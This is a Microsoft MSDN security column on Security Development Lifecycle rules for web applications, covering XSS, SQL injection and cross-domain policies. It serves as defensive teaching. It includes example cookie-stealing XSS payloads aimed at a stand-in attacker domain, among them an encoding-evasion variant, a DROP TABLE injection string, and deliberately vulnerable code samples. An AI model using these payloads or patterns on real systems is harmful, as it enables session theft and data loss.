span.sup { vertical-align:text-top; }

Security Briefs

SDL Embraces The Web

Bryan Sullivan

This article is based on a prerelease version of SDL guidance and tools. All information herein is subject to change.

Contents

XSS: The New Buffer Overflow
Validate All Input
Use ValidateRequest
Encode Output
Use Static Analysis to Test for Vulnerabilities
SQL Injection
Use Parameterized Stored Procedures
Avoid "EXECUTE @sql"
Restrict Database Permissions
Cross-Domain Trust Issues
Document.domain
Crossdomain.xml

The Security Development Lifecycle (SDL) team recently released details of the SDL process that has been so successful in helping to make Microsoft products more secure. You can find these documents at microsoft.com/sdl .

As you read through this SDL guidance you will find strategies for securing client/server applications. Mitigation strategies for buffer overflow vulnerabilities are also covered extensively. With no less than three required compiler and linker switches (/GS, /SAFESEH, and /NXCOMPAT), 20-or-so code analysis warnings (found with the /analyze option in Visual Studio® 2005 and later), and more than 150 banned API functions, overflow vulnerabilities seem to be public enemy number one for the SDL.

What you won't find in the publicly available SDL documentation is guidance specific to securing Web applications or online services. To be sure, most of the SDL non-implementation requirements apply equally to client/server and Web applications. It's just as important to threat model your Web Forms applications as it is your Windows® Forms applications. Likewise, it is just as important to perform a Final Security Review for a SOAP service as for a Windows service. But what about Web-related vulnerabilities like cross-site scripting (XSS) and SQL injection? If the SDL pays so much attention to defending client/server applications against buffer overflows, why doesn't it pay attention to defending online services against XSS attacks, the public enemy number one of the Web?

The answer is, it does pay attention to these issues. The Microsoft® Online Services Security and Compliance team has been instrumental in identifying Web application security issues and addressing them in the SDL. However, these SDL requirements have previously not been available outside of Microsoft. The Web application-specific SDL requirements are some of the newest requirements, and the team wanted to make sure they were demonstrably effective before taking them outside the company. As online vulnerabilities rise across the industry, the team is confident enough in the effectiveness of the online service SDL requirements to share them here for the first time.

Please note that the rest of this column assumes you are familiar with Web application security issues such as XSS and SQL injection. If you are not comfortable with these concepts, please read up on them before continuing—good background material on these vulnerabilities can be found in the book 19 Deadly Sins of Software Security by Michael Howard, David LeBlanc, and John Viega (McGraw-Hill 2005).

XSS: The New Buffer Overflow

In many respects, an XSS vulnerability is just as dangerous as a buffer overflow. Security professionals—even Web security professionals—often disagree with me when I make this claim. But consider that some of the most damaging attack payloads of buffer overflow exploits are exactly the same as XSS payloads.

XSS attacks can steal users' personal data such as credit card or bank account numbers; they can steal users' passwords; they can even create self-replicating Web worms that spread throughout a site, choking its resources and slowing it to a crawl.

Validate All Input

Clearly, XSS should be taken seriously, and the SDL does take it seriously by requiring online services teams to follow certain development standards. First, all input to the application from a user, a component, or another program should be validated to ensure that the input is free from unsafe markup and script characters before processing that input. For example, let's say a user enters the following text in a textbox:

My name is <a href=
"javascript:document.location='https://fabrikam.com/'+document.cookie">
Amy</a>

This input should be rejected entirely as malicious. Alternatively, the text could be stripped of its markup, back to the following:

My name is Amy

However, this sanitizing stripping approach is dangerous since there are many ways to escape special characters. The character < can be encoded as &lt, &#60, &#x3c, or %3c. Unless you know all the possible escaped versions of all the special characters—and you probably won't—it's best just to compare the input value against an expected format and reject it if it doesn't match. But why? What's so bad about markup tags?

Markup tags are dangerous because even the most innocuous-looking tags like <b> and <i> can contain script attributes. Your application may not be at risk from this input:

My name is <b>Amy</b>

But this is a completely different story:

My name is <b onmouseover="document.location = 'https://fabrikam.com/' + document.cookie">Amy</b>

A user who views this page and moves her mouse pointer over the word "Amy" will inadvertently send the document cookie (which may contain her authentication token) to fabrikam.com, presumably where hackers are waiting to pounce on it and steal her identity. To solve this problem, the SDL lets only a small whitelist of safe HTML elements, shown in Figure 1 , in user input.

Figure 1 Allowed HTML Tags

<a>
<b>
<blockquote>
<br>
<div>
<em>
<font>
<i>
<li>
<ol>
<p>
<strong>
<u>
<ul>

The SDL also permits a small set of attributes for these elements, but before we get into this, it's more important to discuss validation techniques. One of the most effective techniques for validating user input is to use a regular expression, either through the Regular­ExpressionValidator control or the Regex class:

// ensure the user input matches the form of a US ZIP code
if (!Regex.IsMatch(TextBox1.Text,@"^\d{5}$") {
  // stop processing this request, it's potentially malicious
  throw new HttpRequestValidationException();
}

This methodology is easiest when the user input is meant to have a well-defined structure like a phone number or e-mail address, but it's still possible even with more widely varying input like people's names. The following regular expression test will match on any combination of Unicode letter characters plus spaces and apostrophes (to allow for names like O'Brien) and that is at least 1, but no more than 40, characters long:

if (!Regex.IsMatch(TextBox1.Text,@"^[\p{L}'\s]{1,40}$") {
  // stop processing this request, it's potentially malicious
  throw new HttpRequestValidationException();
}

The next step is to modify the regular expression to allow for bold and italic tags:

if (!Regex.IsMatch(
  TextBox1.Text,@"^([\p{L}'\s]|<b>|</b>|<i>|</i>){1,40}$") {
...

You could continue to modify this regular expression to match on all of the SDL-allowed elements, attributes, and attribute values, but this would make it complex and prone to error (and thus prone to attack). In most cases, it will be simpler and safer to either deny markup completely or to define a subset of the SDL-allowed elements (like <b> and <i>) and deny attributes on those elements.

Use ValidateRequest

ASP.NET versions 1.1 and later include a ValidateRequest page directive that will stop some malicious user input that could lead to XSS exploits:

<%@ Page ValidateRequest="true">

You can also set this property in a web.config file so that it will apply to the entire application:

  <configuration>
    <system.web>
       <pages validaterequest="true"/>
    </system.web>
  </configuration>

Since ValidateRequest is enabled by default, all you have to do is ensure that you don't explicitly disable it, either with page directives or configuration files. Note that ValidateRequest will block any requests that contain HTML or XML. If your page is intended to accept HTML or XML input from the user, you will need to disable ValidateRequest, but be sure to follow the input validation guidelines discussed previously.

Finally, I want to point out that ValidateRequest will mitigate only the simplest of XSS attacks. There are many well-known loopholes in the Validate­Request logic that will allow malicious input to get through. So although Validate­Request is still worth using because you essentially get it for free, but it's best to consider it a defense-in-depth measure. Proper input validation and output encoding are much more crucial to XSS defense. Never rely on ValidateRequest alone.

Encode Output

Ultimately, XSS vulnerabilities are exploited when the malicious script is executed in the victim's browser. One of the most important and effective SDL defenses against XSS is to encode output before it gets written to the response. Consider the following vulnerable C# ASP.NET code:

<html>
  <body>
    Hello, <%= Request.QueryString["name"] %>
  </body>
</html>

All an attacker has to do is craft a URL with a value of the "name" query string parameter that contains his malicious script, trick an unsuspecting user into following that URL, and the attacker's code will be executed in the user's browser:

https://www.adatum.com/mypage.aspx?name=<script>
document.location='https://fabrikam.com/'%2bdocument.cookie;</script>

However, if you change the source code so that it encodes the output before writing it to the response, then the attack is negated:

<html>
  <body>
    Hello, <%= Server.HtmlEncode(Request.QueryString["name"]) %>
  </body>
</html>

Now the attacker's <script> text will be harmlessly rendered in the user's browser as text and not executed as active content.

This defense can be very effective against XSS attacks, but unfortunately it's not always as simple to implement as I've demonstrated in the preceding code snippet. Also, for this approach to work consistently, you have to vary the encoding method depending on how and where the user input is being rendered in the response.

To explain this even further, I am going to show you another example, one that features the user input written back to the page not as plain HTML, but instead as an attribute value of another HTML element:

<html>
  <body>
    <img src='image.jpg' alt='<%=Request.QueryString["alt"]%>' />
  </body>
</html>

As this code is written—without HTML encoding—it is trivially exploitable:

https://www.adatum.com/mypage.aspx?alt='><script>
document.location='https://fabrikam.com/'%2bdocument.cookie;</script>

You could add a call to Server.HtmlEncode:

<html>
  <body>
    <img src='image.jpg' 
      alt='<%=Server.HtmlEncode(Request.QueryString["alt"])%>' />
  </body>
</html>

But the code is still exploitable, albeit with a bit more work on the attacker's part:

https://www.adatum.com/mypage.aspx?alt='%20onmouseover=
   eval('document.location='.concat(String.fromCharCode(34)).concat('https://fabrikam.com/').
   concat(document.cookie).concat(String.fromCharCode(34)))%20foo='bar

This attack string contains no characters that would be affected by HTML encoding, such as double-quotation marks or less-than/greater-than signs.

You can see that simple HTML encoding is not sufficient protection from XSS in this case. HTML encoding is also not sufficient when user input is being written out as part of a URL:

<html>
  <body>
    <a href="mypage.aspx?foo=<%=Request.QueryString["foo"]%>">
      Click me!</a>
  </body>
</html>

Or when user input is being written out as script:

<html>
  <body>
    <script>
      var name = <%=Request.QueryString["name"]%>;
      alert('Hello ' + name + '!');
    </script>
  </body>
</html>

In fact, there are seven cases that require different output encoding: plain HTML, HTML attribute, URL, JavaScript, VBScript, XML, and XML attribute. It would be very tedious and error-prone to try to cover each of these cases as they come up in the source code. Happily, the Microsoft Application Consulting and Engineering (ACE) team has created an Anti-XSS output encoding library to help with this process; all you have to do is make a call to the appropriate encoding method depending on the output format:

<html>
  <body>
    Hello, <%=AntiXss.HtmlEncode(Request.QueryString["name"])%>
    <img src='image.jpg' 
     alt='<%=AntiXss.HtmlAttributeEncode(Request.QueryString["alt"])%>'>
    </img>
  </body>
</html>

The SDL requires the use of the Anti-XSS library for all managed-code online services. Version 1.5 of the Anti-XSS library is available to the public at msdn.microsoft.com/en-us/security/aa973814.aspx .

Use Static Analysis to Test for Vulnerabilities

The SDL is more than just guidance and education; tools are also an important part of the SDL. Analysis tools are especially valuable during the verification (security testing) phase of the SDL to ensure that SDL design and implementation guidelines have been followed correctly and that no potential vulnerabilities slip through the cracks.

The Microsoft Online Services teams use a static analysis tool called CAT.NET (short for Code Analysis Tool for .NET). CAT.NET is required by the SDL and can detect many of the most prevalent and dangerous Web application security vulnerabilities, including XSS, SQL injection, and redirection to user-controlled sites (which facilitates phishing attacks).

Like the Anti-XSS output encoding library, CAT.NET was developed by the Microsoft ACE team. Unlike Anti-XSS, CAT.NET is not yet available outside of Microsoft. However, there is a publically available beta version of CAT.NET that detects cross-site scripting vulnerabilities. This tool is called XSSDetect and can be found at go.microsoft.com/fwlink/?LinkId=122629 .

SQL Injection

Earlier this year, millions of classic-ASP Web sites fell victim to a mysterious attack in which malicious script tags were embedded into the page content. The issue was originally reported as a possible vulnerability in IIS, but eventually it turned out that IIS was not to blame and the sites had SQL injection vulnerabilities that were being exploited.

Only ASP sites were being affected because the attackers had a SQL injection payload specific to SQL Server® , and presumably they guessed that ASP sites were more likely to use SQL Server as a back-end database. The attack soon spread to ASP.NET sites as well, proving two things: SQL injection is not going away any time soon, and using managed code will not automatically protect you from SQL injection.

The SDL covers SQL injection defense with three requirements. First, applications must access databases only through parameterized stored procedures. Second, stored procedures must not use the "EXECUTE @sql" command. Finally, the application service account should be granted permission only to execute those stored procedures.

Use Parameterized Stored Procedures

The root cause of SQL injection vulnerabilities is SQL commands that are created and executed in an ad hoc fashion by concatenating SQL command text with user input. Here is an example:

// This code is vulnerable to SQL injection - DO NOT USE
SqlCommand command = "SELECT * FROM [CustomerRecord] 
WHERE CustomerName = '" + Request["CustomerName"] + "'";

This code allows attackers to specify SQL code of their own in the CustomerName parameter value that will then get passed to the database and executed. The problem is that there is not a clear separation between code and data. However, if you change this code to use a parameterized stored procedure rather than constructing command text on the fly, you can enforce a more clear separation between code and data:

SqlCommand command = "FindCustomerRecord";
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add(new SqlParameter("@CustomerName", 
  SqlDbType.NVarChar, 16, Request["CustomerName"]));

The corresponding stored procedure code would be:

CREATE PROCEDURE dbo.FindCustomerRecord
(
  @CustomerName nvarchar(16)
)
AS 
  SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName
RETURN

Note that this code, in contrast to the original code, is secure against SQL injection.

As an example, let's say an attacker attempts to inject his own malicious SQL into the CustomerName parameter:

https://www.adatum.com/mypage.aspx?CustomerName=foo';DROP%20TABLE%20CustomerRecord

The application code will now escape the attack string text so that it is correctly interpreted by the stored procedure as data instead of as command text.

Note that some critics might argue that there is no real need for stored procedures here. These critics would counsel that a simple inline parameterized query would be sufficient to protect against SQL injection:

SqlCommand command = 
"SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName";
command.CommandType = CommandType.Text;
command.Parameters.Add(new SqlParameter(
  "@CustomerName", SqlDbType.NVarChar, 16, Request["CustomerName "]));

To a certain extent, this is true: if you always use parameterized queries with the parameter types properly specified, you should be safe from SQL injection. However, using stored procedures can not only provide better performance than inline parameterized queries, it can provide another important defense-in-depth measure. It does this by allowing you to set permissions on just stored procedures and mask the underlying database objects from the application service account (this will be covered in more detail later in this column).

The most important point you need to take away from this is that you should avoid creating concatenated ad hoc SQL commands at all costs. There are significant benefits to using stored procedures; however, if you are unable to do so, then inline parameterized queries must be used instead.

Avoid "EXECUTE @sql"

One of the most persistent misconceptions about SQL injection defense is that the use of stored procedures alone will prevent SQL injection. It's essential to remember that the real culprit behind SQL injection is the concatenated command string. Therefore, if you merely move the string concatenation to the stored procedure code, you're no better off than before:

CREATE PROCEDURE dbo.FindCustomerRecord
(
  @CustomerName nvarchar(16)
)
AS 
  EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' +   @CustomerName + '''')
RETURN

The SDL prohibits the use of the T-SQL EXECUTE or EXEC command to execute SQL queries specified as string arguments, as shown in the previous example. This prohibition also extends to queries that do not directly concatenate user input into the command text.

Here's a sample stored procedure that is potentially vulnerable to a SQL injection attack even though it takes no parameters:

CREATE PROCEDURE dbo.FindBestCustomerRecord
AS 
  DECLARE @CustomerName NVARCHAR(16)
  SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
  EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' +   @CustomerName + '''')
RETURN

This procedure may appear to be secure since it's not building the query based on user input. Or is it? If users are able to specify their own customer names, then it just might be possible for an attacker to craft a malicious customer name that contains SQL commands. Were this to be the case, then when the FindBest­CustomerRecord stored procedure executes, the attacker's SQL text will also execute.

This is an example of a second-order SQL injection vulnerability, where the attack payload is not immediately executed but rather stored in the system and then executed at a later time by a different function. By banning EXECUTE and EXEC when used with SQL command string arguments, the SDL protects against both second-order and more traditional first-order SQL injection vulnerabilities. The only approved use of EXECUTE is to call other stored procedures, like this:

CREATE PROCEDURE dbo.FindBestCustomerRecord
AS 
  DECLARE @CustomerName NVARCHAR(16)
  SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
  EXECUTE FindCustomerRecord @CustomerName
RETURN

Restrict Database Permissions

As I mentioned earlier, the SDL requires developers to use stored procedures when accessing a database. This requirement is primarily meant to prevent developers from writing concatenated ad hoc SQL commands, but another great benefit is that it allows you to restrict database permissions as an additional defensive measure.

The final SDL requirement for SQL injection defense is to only grant the application service account the EXECUTE permission only for the database stored procedures. To clarify, all direct SELECT, INSERT, UPDATE, and DELETE permissions on the database tables and views should be revoked, and only EXECUTE on the stored procedures should be granted. Of course, it should also go without saying that any unused built-in stored procedures (like xp_cmdshell) should not have access granted to them. In fact, these stored procedures should be disabled or removed entirely. If you are using SQL Server 2005 or later, you can use the Surface Area Configuration tool to do this.

This requirement is unique among the SDL SQL injection defense requirements in that it's more of a defense-in-depth measure than a pure vulnerability prevention. If a SQL injection vulnerability does slip into your code, restricting account permissions won't stop an attacker from finding it. But without direct access to the tables, it will prevent the attacker from being able to exploit the vulnerability. The attacker will only be able to execute the stored procedures, and to even do that he will need to know or guess the stored procedure names and arguments.

Without access to the object catalog views such as sys.objects (or the non-SQL Server equivalents), any blind SQL injection attack will be much more difficult, if not impossible. The attacker will be reduced to pure guessing or brute force attacks, neither of which are particularly effective. Just be sure not to make the attacker's job easier by giving him detailed error messages! Set the mode of the <customErrors> configuration element to either On or RemoteOnly to return generic, non-descriptive error messages.

Cross-Domain Trust Issues

In theory, the same origin policy prevents client-side script code executing in a Web browser from interacting with any other document loaded into a browser window or frame, unless that document has the same origin as the page running the script. Note that in this case, "origin" is defined by the combination of the document's domain, protocol, and port. For example, let's say your page is found at https://www.adatum.com/page.aspx. The table in Figure 2 gives some examples of sites that your page would be prohibited from interacting with and the reason for the prohibition.

Figure 2 Prohibited Cross-Domain Sites

Site Why prohibited?
https://www.adatum.com/page.aspx Different protocol
https://www.adatum.com:8080/ page.aspx Different port
https://www.fabrikam.com/page.aspx Different domain
https://foo.adatum.com/page.aspx Different domain

From a security-centric standpoint, the same origin policy is incredibly valuable and prevents malicious Web sites from gaining unauthorized access to data on other sites. However, it also limits some innovative and useful application scenarios (like client-side mashups), and so Web developers constantly clamor for new methods to bypass it.

Document.domain

One way to circumvent the same origin policy is to edit the domain property of the Document Object Model (DOM) Document object. This value defaults to the domain from which the document was loaded, so in my example this would be www.adatum.com. However, it is possible to change this value to a less-specific value such as adatum.com (without the www). If a page loaded from www.adatum.com and another page from blog.adatum.com both lowered their document.domain property to adatum.com, then they would be able to communicate with each other even though they came from different origins.

It's important to note that most—but not all—Web browsers prohibit you from lowering the document.domain property to the top-level-domain level (such as just .com or .net) or to change it to a completely different domain (such as www.contoso.com). These are the technical restrictions imposed by Web browsers. However,­ the SDL also places its own policy restrictions on lowering the document.domain value, since there are significant security implications with this act.

By broadening the number of sites that can communicate with the page, you also broaden the number of sites that can attack the page through XSS attacks. In other words, normally www.adatum.com/page.aspx would only be vulnerable to XSS attacks coming from www.adatum.com. However, if you decide to lower document.domain to adatum.com, then the page would also be vulnerable to XSS attacks that come from alice.adatum.com, barry.adatum.com, and any other subdomain of adatum.com.

To prevent sensitive data loss in this scenario, the SDL prohibits any site from lowering document.domain unless that site does not deal with personally identifiable information (PII) in any form and does not deal with any medium or high business impact data.

Crossdomain.xml

Another popular method used to bypass the same origin policy is the crossdomain.xml policy file. Crossdomain.xml was originally implemented by Macromedia (now part of Adobe) to allow Flash movies to communicate with servers other than the ones they were loaded from. Microsoft Silverlight 2™ also respects crossdomain.xml policy files to allow Silverlight applications to communicate across different domains.

Crossdomain.xml files are usually hosted on the domain root (for example, www.adatum.com/crossdomain.xml) and list all the external domains that will be granted access. Here's an example of a crossdomain.xml file:

<cross-domain-policy>
  <allow-access-from domain="www.contoso.com"/>
</cross-domain-policy>

This file configures the server to allow access from any Flash or Silverlight application hosted on www.contoso.com. Crossdomain.xml will also permit wildcards in the allow-access-from specifications:

<cross-domain-policy>
  <allow-access-from domain="*.contoso.com"/>
  <allow-access-from domain="*.net"/>
</cross-domain-policy>

It is important to note that this configuration allows access from any subdomain of contoso.com and also any site that has a top-level domain of .net. In fact, if you want to, you can even grant access to the entire Internet:

<cross-domain-policy>
  <allow-access-from domain="*"/>
</cross-domain-policy>

Perhaps unsurprisingly, the SDL takes a dim view of such overly permissive configurations. The use of crossdomain.xml is covered by the following rules: first, if a site is not meant to be accessed by other domains, then all crossdomain.xml files must be removed from the site. This is a straightforward reduction in attack surface. Second, if a site is meant to be accessed by other domains and has application functionality available only to authenticated users, then this site can host a crossdomain.xml file, but this file cannot contain wildcards in its allow-access-from elements. All allowed domains must be fully qualified.

Only if all applications on the site are completely public—and that means no authenticated access and no PII—does the SDL permit broad-reaching wildcard crossdomain.xml entries that grant access to the entire Internet. Keep in mind that if you take this option, you will certainly need to keep a close eye on all the applications on the domain to ensure that no functionality requiring authentication is ever added. In practice, it's probably going to be both easier and safer to avoid wildcards and explicitly specify the sites that need access.

We're just Getting Warmed Up

I hope you found this first look at the SDL Web application requirements informative, and I hope you take the opportunity to implement them in your organization's Web development teams. And rest assured that we're not stopping here. The SDL team has several new Web-specific requirements currently being beta-tested by online services groups inside Microsoft. As these requirements graduate from beta and become full-fledged members of the SDL, we'll keep the SDL blog (blogs.msdn.com/sdl) updated with more information on them.

Bryan would like to thank Spencer Low for his contributions to this column and Grant Bugher, Martin Rues, and Shankar Bharadwaj for their effort in bringing the online services requirements to the SDL.

Send your questions and comments to briefs@microsoft.com .

Bryan Sullivan is a Security Program Manager for the Microsoft Security Development Lifecycle team, where he specializes in Web application security issues. His first book, Ajax Security , was published by Addison-Wesley in December 2007.